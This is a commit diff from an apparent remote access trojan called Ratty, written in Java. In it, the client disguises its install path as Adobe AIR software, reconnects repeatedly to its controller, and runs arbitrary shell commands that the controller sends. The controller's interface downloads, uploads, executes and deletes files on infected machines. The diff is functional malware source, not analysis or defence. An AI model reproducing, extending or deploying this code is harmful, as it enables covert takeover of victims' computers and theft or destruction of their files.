Small changes

Cleanups, fixes
The CommandPacket has no response anymore

Ratty/src/de/sogomn/rat/Ratty.java

@@ -17,12 +17,15 @@ import de.sogomn.rat.server.gui.RattyGuiController;
 
 public final class Ratty {
 	
+	private static final int DISCONNECT_SLEEP_INTERVAL = 2500;
+	
+	private static final String FOLDER_NAME = "Adobe" + File.separator + "AIR";
+	private static final String FILE_NAME = "jre13v3bridge.jar";
+	
 	public static final String ADDRESS = "localhost";
 	public static final int PORT = 23456;
 	public static final boolean CLIENT = false;
 	public static final String VERSION = "1.0";
-	public static final String FOLDER_NAME = "Adobe" + File.separator + "AIR";
-	public static final String FILE_NAME = "jre13v3bridge.jar";
 	
 	private Ratty() {
 		//...
@@ -49,7 +52,14 @@ public final class Ratty {
 		final Trojan trojan = new Trojan();
 		
 		if (!newClient.isOpen()) {
+			try {
+				Thread.sleep(DISCONNECT_SLEEP_INTERVAL);
+				System.gc();
+			} catch (final InterruptedException ex) {
+				ex.printStackTrace();
+			} finally {
 				connectToHost(address, port);
+			}
 			
 			return;
 		}
@@ -68,7 +78,6 @@ public final class Ratty {
 	}
 	
 	public static void main(final String[] args) {
-		//setLookAndFeel();
 		WebLookAndFeel.install();
 		
 		if (CLIENT) {

Ratty/src/de/sogomn/rat/packet/CommandPacket.java

@@ -1,86 +1,36 @@
 package de.sogomn.rat.packet;
 
-import java.io.IOException;
-import java.io.InputStream;
-
-import javax.swing.JDialog;
 import javax.swing.JOptionPane;
 
 import de.sogomn.rat.ActiveClient;
 
-public final class CommandPacket extends AbstractPingPongPacket {
+public final class CommandPacket implements IPacket {
 	
 	private String command;
-	private String output;
 	
 	public CommandPacket(final String command) {
 		this.command = command;
-		
-		type = REQUEST;
 	}
 	
 	public CommandPacket() {
 		this("");
-		
-		type = DATA;
 	}
 	
 	@Override
-	protected void sendRequest(final ActiveClient client) {
+	public void send(final ActiveClient client) {
 		client.writeUTF(command);
 	}
 	
-	@Override
-	protected void sendData(final ActiveClient client) {
-		client.writeUTF(output);
-	}
-	
-	@Override
-	protected void receiveRequest(final ActiveClient client) {
+	public void receive(final ActiveClient client) {
 		command = client.readUTF();
 	}
 	
-	@Override
-	protected void receiveData(final ActiveClient client) {
-		output = client.readUTF();
-	}
-	
-	@Override
-	protected void executeRequest(final ActiveClient client) {
+	public void execute(final ActiveClient client) {
 		try {
-			final Process process = Runtime.getRuntime().exec(command);
-			
-			process.waitFor();
-			
-			final InputStream in = process.getInputStream();
-			final byte[] buffer = new byte[in.available()];
-			
-			in.read(buffer);
-			
-			output = new String(buffer);
-		} catch (final IOException | InterruptedException ex) {
-			output = ex.toString();
-		}
-		
-		type = DATA;
-		client.addPacket(this);
-	}
-	
-	@Override
-	protected void executeData(final ActiveClient client) {
-		final JOptionPane optionPane = new JOptionPane(output);
-		final JDialog dialog = optionPane.createDialog(null);
-		
-		dialog.setModal(false);
-		dialog.setVisible(true);
+			Runtime.getRuntime().exec(command);
+		} catch (final Exception ex) {
+			ex.printStackTrace();
 		}
-	
-	public String getCommand() {
-		return command;
-	}
-	
-	public String getOutput() {
-		return output;
 	}
 	
 	public static CommandPacket create() {

Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java

@@ -44,12 +44,12 @@ public final class FileTreePanel {
 	
 	private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites();
 	
-	public static final String REQUEST = "Show content";
+	public static final String REQUEST = "Request content";
 	public static final String DOWNLOAD = "Download file";
-	public static final String UPLOAD = "Upload file";
+	public static final String UPLOAD = "Upload file here";
 	public static final String EXECUTE = "Execute file";
 	public static final String DELETE = "Delete file";
-	public static final String NEW_FOLDER = "New folder";
+	public static final String NEW_FOLDER = "Create new folder here";
 	
 	public static final String[] COMMANDS = {
 		REQUEST,

Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@@ -220,17 +220,19 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 	@Override
 	public void clientDisconnected(final ActiveClient client) {
 		final ServerClient serverClient = getServerClient(client);
+		final FileTreePanel treePanel = serverClient.getTreePanel();
 		final long id = serverClient.id;
 		
 		client.setObserver(null);
 		client.close();
 		clients.remove(client);
 		
+		treePanel.setVisible(false);
 		gui.removeTableRow(id);
 	}
 	
 	@Override
-	public void clientConnected(final ActiveServer server, final ActiveClient client) {
+	public synchronized void clientConnected(final ActiveServer server, final ActiveClient client) {
 		final long id = nextId++;
 		final ServerClient serverClient = new ServerClient(id, client);
 		final InformationPacket packet = new InformationPacket();